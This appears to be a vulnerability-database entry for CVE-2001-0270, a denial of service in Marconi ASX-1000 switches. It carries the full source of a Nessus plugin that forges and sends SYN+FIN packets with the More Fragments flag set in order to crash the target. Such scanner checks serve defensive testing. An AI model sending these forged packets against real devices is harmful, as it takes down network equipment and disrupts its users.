Vulnerabilities > CVE-2001-0270 - Denial Of Service vulnerability in Marconi Asx-1000 and Forethought

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
marconi
nessus
exploit available

Summary

Marconi ASX-1000 ASX switches allow remote attackers to cause a denial of service in the telnet and web management interfaces via a malformed packet with the SYN-FIN and More Fragments attributes set.

Vulnerable Configurations

Part Description Count
Application
Marconi
1
Hardware
Marconi
1

Exploit-Db

descriptionMarconi ASX-1000 Administration Denial Of Service Vulnerability. CVE-2001-0270 . Dos exploit for hardware platform
idEDB-ID:20644
last seen2016-02-02
modified2001-02-19
published2001-02-19
reporterJ.K. Garvey
sourcehttps://www.exploit-db.com/download/20644/
titleMarconi ASX-1000 Administration Denial of Service Vulnerability

Nessus

NASL familyDenial of Service
NASL idMARCONI_DOS.NASL
descriptionThe remote target may be a Marconi ASX-1000 ASX switch. It crashes when it receives a malformed TCP packet with SYN+FIN and
last seen2020-06-01
modified2020-06-02
plugin id10635
published2001-03-25
reporterThis script is Copyright (C) 2001-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10635
titleMarconi ASX-1000 Switches Multiple Interface Malformed Packet DoS
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10635);
 script_version("1.25");
 script_cvs_date("Date: 2018/11/15 20:50:21");

 script_cve_id("CVE-2001-0270");
 script_bugtraq_id(2400);

 script_name(english:"Marconi ASX-1000 Switches Multiple Interface Malformed Packet DoS");
 script_summary(english:"Crashes the remote host using the 'marconi dos' attack");

 script_set_attribute(attribute:"synopsis", value:"The remote host is vulnerable a denial of service.");
 script_set_attribute(attribute:"description", value:
"The remote target may be a Marconi ASX-1000 ASX switch. It crashes
when it receives a malformed TCP packet with SYN+FIN and 'More
Fragments' flags set.

An attacker may use this flaw to shut down this host, thus preventing
your network from working properly.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2001/Feb/192");
 script_set_attribute(attribute:"solution", value:"Contact your operating system vendor for a patch.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"2001/02/19");
 script_set_attribute(attribute:"plugin_publication_date", value:"2001/03/25");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 # ACT_KILL_HOST in theory, but killing a switch is quite nasty
 script_category(ACT_FLOOD);
 script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
 script_family(english:"Denial of Service");

 script_require_keys("Settings/ParanoidReport");

 exit(0);
}

include("audit.inc");
include('global_settings.inc');

if ( TARGET_IS_IPV6 ) exit(0);

if (report_paranoia < 2) audit(AUDIT_PARANOID);

addr = get_host_ip();
ip = forge_ip_packet(   ip_v : 4,
			ip_hl : 5,
			ip_tos : 0,
			ip_len : 20,
		        ip_id : rand(),
			ip_p : IPPROTO_TCP,
			ip_ttl : 255,
		        ip_off : IP_MF,
			ip_src : addr);
port = get_host_open_port();
if(!port)exit(0);

soc = open_sock_tcp(port);
if (!soc) exit(0);
close(soc);

tcpip = forge_tcp_packet(    ip	      : ip,
			     th_sport : rand() % 65535,
			     th_dport : port,
			     th_flags : TH_SYN|TH_FIN,
		             th_seq   : rand(),
			     th_ack   : 0,
			     th_x2    : 0,
		 	     th_off   : 5,
			     th_win   : 512,
			     th_urp   : 0);

#
# Ready to go...
#

start_denial();
send_packet(tcpip, pcap_active:FALSE) x 5;
sleep(5);
alive = end_denial();

if(!alive)
{
 soc = open_sock_tcp(port);
 if (soc) { close(soc); exit(0); }
 set_kb_item(name:"Host/dead", value:TRUE);
 security_hole(port);
}